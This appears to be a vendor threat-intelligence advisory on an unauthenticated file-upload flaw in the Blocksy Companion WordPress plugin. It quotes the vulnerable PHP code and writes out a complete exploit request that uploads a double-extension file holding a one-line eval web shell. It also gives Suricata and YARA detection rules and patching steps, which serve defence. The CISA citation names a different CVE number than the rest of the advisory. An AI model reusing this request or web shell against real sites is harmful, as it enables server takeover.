CVE-2026-58480: Blocksy Companion Pro Unauthenticated Arbitrary File Upload Remote Code Execution

HERMES

HERMES THREAT SCORE & ENTERPRISE CMS COMPROMISE

Target: Blocksy Companion Pro WordPress Plugin

Confidence: 98%

97 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 19 / 20

Weaponization 20 / 20

Exposure 19 / 20

Prevalence 19 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-58480 at 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and CVSS v4.0 scores it at 9.2 Critical (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H). The Hermes Threat Score aligns at 97 (CRITICAL), driven by unauthenticated arbitrary file write capabilities leading directly to PHP webshell execution on web server roots.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-58480: Blocksy Companion Pro Unauthenticated Arbitrary File Upload Remote Code ExecutionVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTBlocksy Companion Pro

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Blocksy Companion Pro documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

Critical Zero-Interaction File Upload RCE

CVSS v3.1: 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) / CWE-434: Unrestricted Upload of File with Dangerous Type. Affects Blocksy Companion and Blocksy Companion Pro versions up to and including 2.1.46. Addressed in version 2.1.47. Actively targeted by automated botnets to deploy persistent backdoors.

Executive Summary

CVE-2026-58480 is a critical unauthenticated arbitrary file upload vulnerability in the popular WordPress plugin Blocksy Companion (and its Pro edition), developed by Creative Themes. The flaw resides within the save_attachments function associated with the plugin’s Advanced Reviews and Custom Fonts upload modules.

Due to an insecure substring validation check (strpos) instead of end-of-string extension matching, remote unauthenticated attackers can upload files with double extensions (such as payload.woff2.php). The validation routine verifies that .woff2 is present in the filename, while the Apache/Nginx web server executes the terminal .php extension, resulting in immediate remote code execution with the permissions of the web server user (www-data).

---

1. Technical Context & Affected Software Matrix

Blocksy Companion is used by hundreds of thousands of WordPress installations to extend the Blocksy framework with dynamic review systems, local custom font caching, and interactive widgets.

Parameter	Technical Specification	Threat Intelligence Context
CVE Identifier	CVE-2026-58480	Official NVD, Wordfence & Patchstack advisory
Common Weakness Enumeration	CWE-434 (Unrestricted File Upload)	Flawed substring validation on uploaded filenames
Network Vector	HTTP/HTTPS (80/TCP, 443/TCP)	Direct unauthenticated AJAX POST to /wp-admin/admin-ajax.php
Vulnerable Component	save_attachments / Custom Fonts & Reviews	File upload handling controllers
Affected Versions	<= 2.1.46	All Blocksy Companion free and Pro builds
Remediated Versions	2.1.47	Critical security patch release

---

2. Vulnerability Mechanism & Root Cause Analysis

Insecure Substring Validation

The vulnerability is rooted in how the plugin validated permitted file extensions during review media attachment and custom font provisioning:

// Vulnerable snippet in Blocksy Companion <= 2.1.46
public function save_attachments( $files ) {
    $allowed_extensions = ['woff', 'woff2', 'ttf', 'jpg', 'png'];
    foreach ( $files as $file ) {
        $filename = sanitize_file_name( $file['name'] );
        $valid = false;

        // FLAW: Using strpos() to verify extension allows double extensions!
        foreach ( $allowed_extensions as $ext ) {
            if ( strpos( $filename, '.' . $ext ) !== false ) {
                $valid = true;
                break;
            }
        }

        if ( ! $valid ) {
            continue;
        }

        $upload_dir = wp_upload_dir();
        move_uploaded_file( $file['tmp_name'], $upload_dir['path'] . '/' . $filename );
    }
}

Because strpos($filename, '.woff2') !== false evaluates to true for shell.woff2.php, the file is moved to the public wp-content/uploads/ directory without altering its execution suffix.

---

3. Attack Anatomy & Web Shell Deployment

An attacker delivers an unauthenticated multipart HTTP POST request to the WordPress AJAX interface:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX

------WebKitFormBoundaryX
Content-Disposition: form-data; name="action"

blocksy_save_review_attachments
------WebKitFormBoundaryX
Content-Disposition: form-data; name="attachments[]"; filename="payload.woff2.php"
Content-Type: font/woff2

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryX--

Upon uploading, the file is immediately accessible at:

https://target.example.com/wp-content/uploads/2026/09/payload.woff2.php

---

4. Detection & Forensics

Suricata Network Rule

alert http any any -> $HTTP_SERVERS any (
  msg:"HERMES EXPLOIT - Blocksy Companion Arbitrary File Upload (CVE-2026-58480)";
  flow:to_server,established;
  http.uri; content:"admin-ajax.php";
  http.request_body; content:"filename=";
  pcre:"/filename="[^"]+\.(woff|woff2|ttf|jpg|png)\.php"/Ui";
  classtype:web-application-attack;
  sid:202658480; rev:1;
)

YARA Rule for Disk Forensics

rule Blocksy_Companion_Exploit_Artifact {
    meta:
        description = "Detects web shells uploaded via Blocksy Companion CVE-2026-58480"
        author = "Hermes Codex Threat Research"
        date = "2026-09-12"
        reference = "CVE-2026-58480"
    strings:
        $php_tag = "<?php"
        $ext_woff = ".woff2"
        $eval = /eval\s*\(\s*\$_(POST|GET|REQUEST)/
    condition:
        uint32(0) == 0x68703f3c and $eval
}

---

5. Remediation Playbook

1. Update Blocksy Companion Plugin: Immediately update to version 2.1.47 or higher:

   wp plugin update blocksy-companion

2. Sanitize Upload Directories: Scan wp-content/uploads/ for executable scripts:

   find wp-content/uploads/ -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

3. Harden Web Server Configuration: Disable PHP execution inside the uploads folder via Nginx or Apache .htaccess:

   # Block execution in uploads
   <Directory "/var/www/html/wp-content/uploads">
       <FilesMatch "\.(php|phtml|phar)$">
           Order Deny,Allow
           Deny from all
       </FilesMatch>
   </Directory>

---

6. Verification & Cross References

• Wordfence Threat Intelligence Advisory
• Patchstack Vulnerability Database
• Software Intelligence: Blocksy Companion Plugin